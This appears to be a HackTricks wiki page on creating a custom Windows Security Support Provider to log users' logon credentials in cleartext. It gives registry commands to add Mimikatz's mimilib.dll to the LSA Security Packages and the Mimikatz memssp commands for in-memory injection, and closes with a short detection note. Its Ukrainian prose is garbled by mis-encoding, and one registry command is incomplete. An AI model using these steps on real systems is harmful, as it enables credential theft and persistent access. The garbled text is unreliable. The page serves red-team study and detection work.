# Custom SSP
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
### Custom SSP
[ΠΡΠ·Π½Π°ΠΉΡΠ΅ΡΡ, ΡΠΎ ΡΠ°ΠΊΠ΅ SSP (Security Support Provider) ΡΡΡ.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
ΠΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΡΠ²ΠΎΡΠΈΡΠΈ **ΡΠ²ΡΠΉ Π²Π»Π°ΡΠ½ΠΈΠΉ SSP**, ΡΠΎΠ± **Π·Π°Ρ
ΠΎΠΏΠΈΡΠΈ** Ρ **Π²ΡΠ΄ΠΊΡΠΈΡΠΎΠΌΡ ΡΠ΅ΠΊΡΡΡ** **ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ**, ΡΠΊΡ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΡΡΡ Π΄Π»Ρ Π΄ΠΎΡΡΡΠΏΡ Π΄ΠΎ ΠΌΠ°ΡΠΈΠ½ΠΈ.
#### Mimilib
ΠΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ Π±ΡΠ½Π°ΡΠ½ΠΈΠΉ ΡΠ°ΠΉΠ» `mimilib.dll`, Π½Π°Π΄Π°Π½ΠΈΠΉ Mimikatz. **Π¦Π΅ Π±ΡΠ΄Π΅ Π·Π°ΠΏΠΈΡΡΠ²Π°ΡΠΈ Ρ ΡΠ°ΠΉΠ» Π²ΡΡ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ Ρ Π²ΡΠ΄ΠΊΡΠΈΡΠΎΠΌΡ ΡΠ΅ΠΊΡΡΡ.**\
Π‘ΠΊΠΈΠ½ΡΡΠ΅ dll Ρ `C:\Windows\System32\`\
ΠΡΡΠΈΠΌΠ°ΠΉΡΠ΅ ΡΠΏΠΈΡΠΎΠΊ ΡΡΠ½ΡΡΡΠΈΡ
LSA Security Packages:
{% code title="attacker@target" %}
```bash
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
{% endcode %}
ΠΠΎΠ΄Π°ΠΉΡΠ΅ `mimilib.dll` Π΄ΠΎ ΡΠΏΠΈΡΠΊΡ ΠΏΠΎΡΡΠ°ΡΠ°Π»ΡΠ½ΠΈΠΊΡΠ² ΠΏΡΠ΄ΡΡΠΈΠΌΠΊΠΈ Π±Π΅Π·ΠΏΠ΅ΠΊΠΈ (Security Packages):
```powershell
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
Π ΠΏΡΡΠ»Ρ ΠΏΠ΅ΡΠ΅Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ Π²ΡΡ ΠΎΠ±Π»ΡΠΊΠΎΠ²Ρ Π΄Π°Π½Ρ ΠΌΠΎΠΆΠ½Π° Π·Π½Π°ΠΉΡΠΈ Ρ Π²ΡΠ΄ΠΊΡΠΈΡΠΎΠΌΡ Π²ΠΈΠ³Π»ΡΠ΄Ρ Π² `C:\Windows\System32\kiwissp.log`
#### Π£ ΠΏΠ°ΠΌ'ΡΡΡ
ΠΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π±Π΅Π·ΠΏΠΎΡΠ΅ΡΠ΅Π΄Π½ΡΠΎ Π²ΠΏΡΠΎΠ²Π°Π΄ΠΈΡΠΈ ΡΠ΅ Π² ΠΏΠ°ΠΌ'ΡΡΡ, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ Mimikatz (Π·Π²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ ΡΠ΅ ΠΌΠΎΠΆΠ΅ Π±ΡΡΠΈ ΡΡΠΎΡ
ΠΈ Π½Π΅ΡΡΠ°Π±ΡΠ»ΡΠ½ΠΎ/Π½Π΅ ΠΏΡΠ°ΡΡΠ²Π°ΡΠΈ):
```powershell
privilege::debug
misc::memssp
```
Π¦Π΅ Π½Π΅ ΠΏΠ΅ΡΠ΅ΠΆΠΈΠ²Π΅ ΠΏΠ΅ΡΠ΅Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ.
#### ΠΠΎΠΌ'ΡΠΊΡΠ΅Π½Π½Ρ
ID ΠΏΠΎΠ΄ΡΡ 4657 - ΠΡΠ΄ΠΈΡ ΡΡΠ²ΠΎΡΠ΅Π½Π½Ρ/Π·ΠΌΡΠ½ΠΈ `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
{% hint style="success" %}
ΠΠΈΠ²ΡΠ°ΠΉΡΠ΅ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
ΠΠΈΠ²ΡΠ°ΠΉΡΠ΅ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠΡΠ΄ΡΡΠΈΠΌΠ°ΠΉΡΠ΅ HackTricks
* ΠΠ΅ΡΠ΅Π²ΡΡΡΠ΅ [**ΠΏΠ»Π°Π½ΠΈ ΠΏΡΠ΄ΠΏΠΈΡΠΊΠΈ**](https://github.com/sponsors/carlospolop)!
* **ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ** π¬ [**Π³ΡΡΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³ΡΡΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **ΡΠ»ΡΠ΄ΠΊΡΠΉΡΠ΅** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ΠΡΠ»ΡΡΡΡΡ Ρ
Π°ΠΊΠ΅ΡΡΡΠΊΠΈΠΌΠΈ ΡΡΡΠΊΠ°ΠΌΠΈ, Π½Π°Π΄ΡΠΈΠ»Π°ΡΡΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) ΡΠ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΡΡΠ² Π½Π° GitHub.
{% endhint %}